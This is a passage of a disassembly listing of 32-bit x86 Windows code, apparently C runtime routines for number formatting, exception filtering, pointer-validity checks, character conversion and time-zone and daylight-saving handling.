loc_41DC1C: ; CODE XREF: sub_41DB76+98j
cmp ebx, eax
jg short loc_41DC5F
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41DAA7
lea eax, [ebp+var_C]
push esi
push eax
call sub_41DAE9
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41DA1B
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_41DAE9
add esp, 20h
loc_41DC58: ; CODE XREF: sub_41DB76+A4j
xor esi, esi
jmp loc_41DBDB
; ---------------------------------------------------------------------------
loc_41DC5F: ; CODE XREF: sub_41DB76+A8j
cmp ebx, [edi]
jl short loc_41DC8B
lea eax, [ebp+var_C]
push eax
call sub_41DAC2
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_41DAE9
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_41DBDD
; ---------------------------------------------------------------------------
loc_41DC8B: ; CODE XREF: sub_41DB76+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_41DAE9
pop ecx
pop ecx
loc_41DCA2: ; CODE XREF: sub_41DB76+55j
xor eax, eax
loc_41DCA4: ; CODE XREF: sub_41DB76+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_41DCD3
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_41DCDD
; ---------------------------------------------------------------------------
loc_41DCD3: ; CODE XREF: sub_41DB76+14Ej
cmp edi, 20h
jnz short loc_41DCDD
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_41DCDD: ; CODE XREF: sub_41DB76+15Bj
; sub_41DB76+160j
pop edi
pop esi
pop ebx
leave
retn
sub_41DB76 endp
; =============== S U B R O U T I N E =======================================
sub_41DCE2 proc near ; CODE XREF: sub_41DD0E+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_4386F0
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41DB76
add esp, 0Ch
retn
sub_41DCE2 endp
; =============== S U B R O U T I N E =======================================
sub_41DCF8 proc near ; CODE XREF: sub_41DD3B+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_438708
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41DB76
add esp, 0Ch
retn
sub_41DCF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD0E proc near ; CODE XREF: sub_419FD8+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41EB33
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41DCE2
add esp, 24h
leave
retn
sub_41DD0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD3B proc near ; CODE XREF: sub_419FD8+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41EB33
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41DCF8
add esp, 24h
leave
retn
sub_41DD3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD68 proc near ; CODE XREF: sub_41A016+65p
; sub_41A11A+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_41DDA5
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_41DD8B: ; CODE XREF: sub_41DD68+38j
mov dl, [ecx]
test dl, dl
jz short loc_41DD97
movsx edx, dl
inc ecx
jmp short loc_41DD9A
; ---------------------------------------------------------------------------
loc_41DD97: ; CODE XREF: sub_41DD68+27j
push 30h
pop edx
loc_41DD9A: ; CODE XREF: sub_41DD68+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_41DD8B
mov edx, [ebp+arg_8]
loc_41DDA5: ; CODE XREF: sub_41DD68+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_41DDBE
cmp byte ptr [ecx], 35h
jl short loc_41DDBE
loc_41DDB1: ; CODE XREF: sub_41DD68+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_41DDBC
mov byte ptr [eax], 30h
jmp short loc_41DDB1
; ---------------------------------------------------------------------------
loc_41DDBC: ; CODE XREF: sub_41DD68+4Dj
inc byte ptr [eax]
loc_41DDBE: ; CODE XREF: sub_41DD68+42j
; sub_41DD68+47j
cmp byte ptr [esi], 31h
jnz short loc_41DDC8
inc dword ptr [edx+4]
jmp short loc_41DDDA
; ---------------------------------------------------------------------------
loc_41DDC8: ; CODE XREF: sub_41DD68+59j
push edi
call sub_415CF0
inc eax
push eax
push edi
push esi
call sub_416490
add esp, 10h
loc_41DDDA: ; CODE XREF: sub_41DD68+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41DD68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DDDF proc near ; CODE XREF: sub_41A016+3Fp
; sub_41A11A+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_41DE43
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_469660
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_41F004
mov dword_469688, eax
add esp, 18h
movsx eax, byte_469662
mov dword_469680, eax
pop edi
movsx eax, word_469660
mov dword_469684, eax
mov dword_46968C, offset dword_469664
mov eax, offset dword_469680
pop esi
leave
retn
sub_41DDDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE43 proc near ; CODE XREF: sub_41DDDF+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_41DE91
cmp ebx, edi
jz short loc_41DE8A
lea edi, [ecx+3C00h]
jmp short loc_41DEB2
; ---------------------------------------------------------------------------
loc_41DE8A: ; CODE XREF: sub_41DE43+3Dj
mov edi, 7FFFh
jmp short loc_41DEB2
; ---------------------------------------------------------------------------
loc_41DE91: ; CODE XREF: sub_41DE43+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_41DEA9
cmp edx, ebx
jnz short loc_41DEA9
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41DEF4
; ---------------------------------------------------------------------------
loc_41DEA9: ; CODE XREF: sub_41DE43+52j
; sub_41DE43+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_41DEB2: ; CODE XREF: sub_41DE43+45j
; sub_41DE43+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_41DECA: ; CODE XREF: sub_41DE43+A6j
test ecx, esi
jnz short loc_41DEEB
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_41DECA
; ---------------------------------------------------------------------------
loc_41DEEB: ; CODE XREF: sub_41DE43+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41DEF4: ; CODE XREF: sub_41DE43+64j
pop edi
pop esi
pop ebx
leave
retn
sub_41DE43 endp
; ---------------------------------------------------------------------------
push 2
call sub_417BEE
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_41DF02 proc near ; DATA XREF: sub_41DF48o
; .nsp0:004380C0o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41DF25
cmp dword ptr [eax+10h], 3
jnz short loc_41DF25
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41DF25
jmp sub_41AB9C
; ---------------------------------------------------------------------------
loc_41DF25: ; CODE XREF: sub_41DF02+Dj
; sub_41DF02+13j ...
mov eax, dword_469690
test eax, eax
jz short loc_41DF42
push eax
call sub_41DF9E
test eax, eax
pop ecx
jz short loc_41DF42
push esi
call dword_469690
jmp short loc_41DF44
; ---------------------------------------------------------------------------
loc_41DF42: ; CODE XREF: sub_41DF02+2Aj
; sub_41DF02+35j
xor eax, eax
loc_41DF44: ; CODE XREF: sub_41DF02+3Ej
pop esi
retn 4
sub_41DF02 endp
; =============== S U B R O U T I N E =======================================
sub_41DF48 proc near ; DATA XREF: .nsp0:00423024o
push offset sub_41DF02
call dword_42101C ; SetUnhandledExceptionFilter
mov dword_469690, eax
retn
sub_41DF48 endp
; =============== S U B R O U T I N E =======================================
sub_41DF59 proc near ; DATA XREF: .nsp0:0042303Co
push dword_469690
call dword_42101C ; SetUnhandledExceptionFilter
retn
sub_41DF59 endp
; =============== S U B R O U T I N E =======================================
sub_41DF66 proc near ; CODE XREF: sub_41A3EE+6Bp
; sub_41A8FF+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_421018 ; IsBadReadPtr
test eax, eax
jz short loc_41DF7E
xor esi, esi
loc_41DF7E: ; CODE XREF: sub_41DF66+14j
mov eax, esi
pop esi
retn
sub_41DF66 endp
; =============== S U B R O U T I N E =======================================
sub_41DF82 proc near ; CODE XREF: sub_41A8FF+73p
; sub_41A8FF+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_421180 ; IsBadWritePtr
test eax, eax
jz short loc_41DF9A
xor esi, esi
loc_41DF9A: ; CODE XREF: sub_41DF82+14j
mov eax, esi
pop esi
retn
sub_41DF82 endp
; =============== S U B R O U T I N E =======================================
sub_41DF9E proc near ; CODE XREF: sub_41A8FF+15Bp
; sub_41DF02+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_421014 ; IsBadCodePtr
test eax, eax
jz short loc_41DFB2
xor esi, esi
loc_41DFB2: ; CODE XREF: sub_41DF9E+10j
mov eax, esi
pop esi
retn
sub_41DF9E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41AB9C
loc_41DFB6: ; CODE XREF: sub_41AB9C:loc_41ABEDj
push 0Ah
call sub_41CF19
push 16h
call sub_41F297
pop ecx
pop ecx
push 3
call sub_417838
; END OF FUNCTION CHUNK FOR sub_41AB9C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFCD proc near ; CODE XREF: sub_41AD3D+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_41DFF0
cmp [ebp+arg_8], ebx
jz short loc_41DFF0
mov al, [esi]
cmp al, bl
jnz short loc_41DFF6
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41DFF0
mov [eax], bx
loc_41DFF0: ; CODE XREF: sub_41DFCD+Cj
; sub_41DFCD+11j ...
xor eax, eax
loc_41DFF2: ; CODE XREF: sub_41DFCD+42j
; sub_41DFCD+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DFF6: ; CODE XREF: sub_41DFCD+17j
cmp dword_469528, ebx
jnz short loc_41E011
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_41E00C
movzx ax, al
mov [ecx], ax
loc_41E00C: ; CODE XREF: sub_41DFCD+36j
; sub_41DFCD+C0j
push 1
pop eax
jmp short loc_41DFF2
; ---------------------------------------------------------------------------
loc_41E011: ; CODE XREF: sub_41DFCD+2Fj
mov ecx, off_437D70
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41E06E
mov eax, dword_437F7C
cmp eax, 1
jle short loc_41E055
cmp [ebp+arg_8], eax
jl short loc_41E05F
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_469538
call dword_421064 ; MultiByteToWideChar
test eax, eax
mov eax, dword_437F7C
jnz short loc_41DFF2
loc_41E055: ; CODE XREF: sub_41DFCD+5Cj
cmp [ebp+arg_8], eax
jb short loc_41E05F
cmp [esi+1], bl
jnz short loc_41DFF2
loc_41E05F: ; CODE XREF: sub_41DFCD+61j
; sub_41DFCD+8Bj ...
mov dword_469494, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41DFF2
; ---------------------------------------------------------------------------
loc_41E06E: ; CODE XREF: sub_41DFCD+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_469538
call dword_421064 ; MultiByteToWideChar
test eax, eax
jnz loc_41E00C
jmp short loc_41E05F
sub_41DFCD endp
; =============== S U B R O U T I N E =======================================
sub_41E095 proc near ; CODE XREF: sub_41AD3D+76p
; sub_41AD3D+88p ...
arg_0 = dword ptr 4
cmp dword_437F7C, 1
jle short loc_41E0AC
push 8
push [esp+4+arg_0]
call sub_418556
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41E0AC: ; CODE XREF: sub_41E095+7j
mov eax, [esp+arg_0]
mov ecx, off_437D70
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41E095 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E0C0 proc near ; CODE XREF: sub_41AD3D+797p
; sub_41AD3D+7E7p
cmp cl, 40h
jnb short loc_41E0DA
cmp cl, 20h
jnb short loc_41E0D0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_41E0D0: ; CODE XREF: sub_41E0C0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_41E0DA: ; CODE XREF: sub_41E0C0+3j
xor eax, eax
xor edx, edx
retn
sub_41E0C0 endp
; =============== S U B R O U T I N E =======================================
sub_41E0DF proc near ; CODE XREF: sub_41B7B3+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_41E12B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_41E0FD
test al, 80h
jz short loc_41E12B
test al, 2
jnz short loc_41E12B
loc_41E0FD: ; CODE XREF: sub_41E0DF+14j
cmp dword ptr [esi+8], 0
jnz short loc_41E10A
push esi
call sub_41D06C
pop ecx
loc_41E10A: ; CODE XREF: sub_41E0DF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_41E11A
cmp dword ptr [esi+4], 0
jnz short loc_41E12B
inc eax
mov [esi], eax
loc_41E11A: ; CODE XREF: sub_41E0DF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_41E131
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_41E137
inc eax
mov [esi], eax
loc_41E12B: ; CODE XREF: sub_41E0DF+9j
; sub_41E0DF+18j ...
or eax, 0FFFFFFFFh
loc_41E12E: ; CODE XREF: sub_41E0DF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E131: ; CODE XREF: sub_41E0DF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_41E137: ; CODE XREF: sub_41E0DF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_41E12E
sub_41E0DF endp
; =============== S U B R O U T I N E =======================================
sub_41E14D proc near ; CODE XREF: sub_41B7EE:loc_41B82Dp
cmp dword_469750, 0
jnz short locret_41E161
call sub_41E162
inc dword_469750
locret_41E161: ; CODE XREF: sub_41E14D+7j
retn
sub_41E14D endp
; =============== S U B R O U T I N E =======================================
sub_41E162 proc near ; CODE XREF: sub_41E14D+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_469698, ebp
mov dword_4387C8, ebx
mov dword_4387B8, ebx
call sub_41F409
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_41E28B
push offset dword_4696A0
call dword_421158 ; GetTimeZoneInformation
cmp eax, ebx
jz loc_41E3BA
mov eax, dword_4696A0
mov ecx, dword_4696F4
imul eax, 3Ch
cmp word_4696E6, bp
push 1
pop edx
mov dword_438720, eax
mov dword_469698, edx
jz short loc_41E1D9
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_438720, eax
loc_41E1D9: ; CODE XREF: sub_41E162+69j
cmp word_46973A, bp
jz short loc_41E1FD
mov eax, dword_469748
cmp eax, ebp
jz short loc_41E1FD
sub eax, ecx
mov dword_438724, edx
imul eax, 3Ch
mov dword_438728, eax
jmp short loc_41E209
; ---------------------------------------------------------------------------
loc_41E1FD: ; CODE XREF: sub_41E162+7Ej
; sub_41E162+87j
mov dword_438724, ebp
mov dword_438728, ebp
loc_41E209: ; CODE XREF: sub_41E162+99j
lea eax, [esp+14h+var_4]
mov esi, dword_421138
push eax
push ebp
push 3Fh
mov edi, 220h
push off_4387AC
push ebx
push offset dword_4696A4
push edi
push dword_469538
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_41E246
cmp [esp+14h+var_4], ebp
jnz short loc_41E246
mov eax, off_4387AC
and byte ptr [eax+3Fh], 0
jmp short loc_41E24E
; ---------------------------------------------------------------------------
loc_41E246: ; CODE XREF: sub_41E162+D1j
; sub_41E162+D7j
mov eax, off_4387AC
and byte ptr [eax], 0
loc_41E24E: ; CODE XREF: sub_41E162+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_4387B0
push ebx
push offset dword_4696F8
push edi
push dword_469538
call esi ; WideCharToMultiByte
test eax, eax
jz loc_41E3B2
cmp [esp+14h+var_4], ebp
jnz loc_41E3B2
mov eax, off_4387B0
and byte ptr [eax+3Fh], 0
jmp loc_41E3BA
; ---------------------------------------------------------------------------
loc_41E28B: ; CODE XREF: sub_41E162+2Dj
cmp byte ptr [esi], 0
jz loc_41E3BA
mov eax, dword_46974C
cmp eax, ebp
jz short loc_41E2AE
push eax
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41E3BA
loc_41E2AE: ; CODE XREF: sub_41E162+139j
push dword_46974C
call sub_415E3D
push esi
call sub_415CF0
inc eax
push eax
call sub_415DC9
add esp, 0Ch
cmp eax, ebp
mov dword_46974C, eax
jz loc_41E3BA
push esi
push eax
call sub_415C00
push 3
push esi
push off_4387AC
call sub_416D40
mov eax, off_4387AC
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_41E303
push 1
inc esi
pop edi
loc_41E303: ; CODE XREF: sub_41E162+19Bj
push esi
call sub_4159D4
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_438720, ecx
loc_41E31A: ; CODE XREF: sub_41E162+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_41E328
cmp al, bl
jl short loc_41E32B
cmp al, 39h
jg short loc_41E32B
loc_41E328: ; CODE XREF: sub_41E162+1BCj
inc esi
jmp short loc_41E31A
; ---------------------------------------------------------------------------
loc_41E32B: ; CODE XREF: sub_41E162+1C0j
; sub_41E162+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_41E37E
inc esi
push esi
call sub_4159D4
imul eax, 3Ch
pop ecx
mov ecx, dword_438720
add ecx, eax
mov dword_438720, ecx
loc_41E349: ; CODE XREF: sub_41E162+1F2j
mov al, [esi]
cmp al, bl
jl short loc_41E356
cmp al, 39h
jg short loc_41E356
inc esi
jmp short loc_41E349
; ---------------------------------------------------------------------------
loc_41E356: ; CODE XREF: sub_41E162+1EBj
; sub_41E162+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_41E37E
inc esi
push esi
call sub_4159D4
pop ecx
mov ecx, dword_438720
add ecx, eax
mov dword_438720, ecx
loc_41E371: ; CODE XREF: sub_41E162+21Aj
mov al, [esi]
cmp al, bl
jl short loc_41E37E
cmp al, 39h
jg short loc_41E37E
inc esi
jmp short loc_41E371
; ---------------------------------------------------------------------------
loc_41E37E: ; CODE XREF: sub_41E162+1CCj
; sub_41E162+1F7j ...
cmp edi, ebp
jz short loc_41E38A
neg ecx
mov dword_438720, ecx
loc_41E38A: ; CODE XREF: sub_41E162+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_438724, eax
jz short loc_41E3B2
push 3
push esi
push off_4387B0
call sub_416D40
mov eax, off_4387B0
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_41E3BA
; ---------------------------------------------------------------------------
loc_41E3B2: ; CODE XREF: sub_41E162+10Bj
; sub_41E162+115j ...
mov eax, off_4387B0
and byte ptr [eax], 0
loc_41E3BA: ; CODE XREF: sub_41E162+40j
; sub_41E162+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_41E162 endp
; =============== S U B R O U T I N E =======================================
sub_41E3C0 proc near ; CODE XREF: sub_41B7EE+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_438724, edi
jnz short loc_41E3D4
loc_41E3CD: ; CODE XREF: sub_41E3C0+148j
; sub_41E3C0+150j ...
xor eax, eax
jmp loc_41E520
; ---------------------------------------------------------------------------
loc_41E3D4: ; CODE XREF: sub_41E3C0+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_4387B8
jnz short loc_41E3F2
cmp eax, dword_4387C8
jz loc_41E4F4
loc_41E3F2: ; CODE XREF: sub_41E3C0+24j
cmp dword_469698, edi
jz loc_41E4CA
movzx ecx, word_469746
push ecx
cmp word_469738, di
movzx ecx, word_469744
push ecx
movzx ecx, word_469742
push ecx
movzx ecx, word_469740
push ecx
jnz short loc_41E444
movzx ecx, word_46973C
push edi
push ecx
movzx ecx, word_46973E
push ecx
movzx ecx, word_46973A
push ecx
push eax
push ebx
jmp short loc_41E458
; ---------------------------------------------------------------------------
loc_41E444: ; CODE XREF: sub_41E3C0+65j
movzx ecx, word_46973E
push ecx
push edi
movzx ecx, word_46973A
push edi
push ecx
push eax
push edi
loc_41E458: ; CODE XREF: sub_41E3C0+82j
push ebx
call sub_41E56C
movzx eax, word_4696F2
add esp, 2Ch
cmp word_4696E4, di
push eax
movzx eax, word_4696F0
push eax
movzx eax, word_4696EE
push eax
movzx eax, word_4696EC
push eax
jnz short loc_41E4B2
movzx eax, word_4696E8
push edi
push eax
movzx eax, word_4696EA
push eax
movzx eax, word_4696E6
push eax
push dword ptr [esi+14h]
push ebx
loc_41E4A7: ; CODE XREF: sub_41E3C0+108j
push edi
call sub_41E56C
add esp, 2Ch
jmp short loc_41E4F4
; ---------------------------------------------------------------------------
loc_41E4B2: ; CODE XREF: sub_41E3C0+C8j
movzx eax, word_4696EA
push eax
push edi
movzx eax, word_4696E6
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_41E4A7
; ---------------------------------------------------------------------------
loc_41E4CA: ; CODE XREF: sub_41E3C0+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_41E56C
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_41E56C
add esp, 58h
loc_41E4F4: ; CODE XREF: sub_41E3C0+2Cj
; sub_41E3C0+F0j
mov edx, dword_4387BC
mov eax, dword_4387CC
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_41E524
cmp ecx, edx
jl loc_41E3CD
cmp ecx, eax
jg loc_41E3CD
cmp ecx, edx
jle short loc_41E538
cmp ecx, eax
jge short loc_41E538
loc_41E51E: ; CODE XREF: sub_41E3C0+166j
; sub_41E3C0+16Aj
mov eax, ebx
loc_41E520: ; CODE XREF: sub_41E3C0+Fj
; sub_41E3C0+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E524: ; CODE XREF: sub_41E3C0+144j
cmp ecx, eax
jl short loc_41E51E
cmp ecx, edx
jg short loc_41E51E
cmp ecx, eax
jle short loc_41E538
cmp ecx, edx
jl loc_41E3CD
loc_41E538: ; CODE XREF: sub_41E3C0+158j
; sub_41E3C0+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_41E55F
xor ecx, ecx
cmp eax, dword_4387C0
setnl cl
loc_41E55B: ; CODE XREF: sub_41E3C0+1AAj
mov eax, ecx
jmp short loc_41E520
; ---------------------------------------------------------------------------
loc_41E55F: ; CODE XREF: sub_41E3C0+18Ej
xor ecx, ecx
cmp eax, dword_4387D0
setl cl
jmp short loc_41E55B
sub_41E3C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E56C proc near ; CODE XREF: sub_41E3C0+99p
; sub_41E3C0+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_41E607
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_41E597
shl esi, 2
mov eax, dword_4387D0[esi]
jmp short loc_41E5A0
; ---------------------------------------------------------------------------
loc_41E597: ; CODE XREF: sub_41E56C+1Ej
shl esi, 2
mov eax, dword_438804[esi]
loc_41E5A0: ; CODE XREF: sub_41E56C+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jge short loc_41E5DA
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_41E5E4
; ---------------------------------------------------------------------------
loc_41E5DA: ; CODE XREF: sub_41E56C+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_41E5E4: ; CODE XREF: sub_41E56C+6Cj
cmp [ebp+arg_10], 5
jnz short loc_41E622
cmp [ebp+arg_8], 0
jnz short loc_41E5F8
mov esi, dword_4387D4[esi]
jmp short loc_41E5FE
; ---------------------------------------------------------------------------
loc_41E5F8: ; CODE XREF: sub_41E56C+82j
mov esi, dword_438808[esi]
loc_41E5FE: ; CODE XREF: sub_41E56C+8Aj
cmp ecx, esi
jle short loc_41E622
sub ecx, 7
jmp short loc_41E622
; ---------------------------------------------------------------------------
loc_41E607: ; CODE XREF: sub_41E56C+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_41E618
mov ecx, dword_4387D0[eax*4]
jmp short loc_41E61F
; ---------------------------------------------------------------------------
loc_41E618: ; CODE XREF: sub_41E56C+A1j
mov ecx, dword_438804[eax*4]
loc_41E61F: ; CODE XREF: sub_41E56C+AAj
add ecx, [ebp+arg_18]
loc_41E622: ; CODE XREF: sub_41E56C+7Cj
; sub_41E56C+94j ...
cmp [ebp+arg_0], 1
jnz short loc_41E653
mov eax, [ebp+arg_1C]
mov dword_4387BC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_4387B8, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_4387C0, eax
jmp short loc_41E6A8
; ---------------------------------------------------------------------------
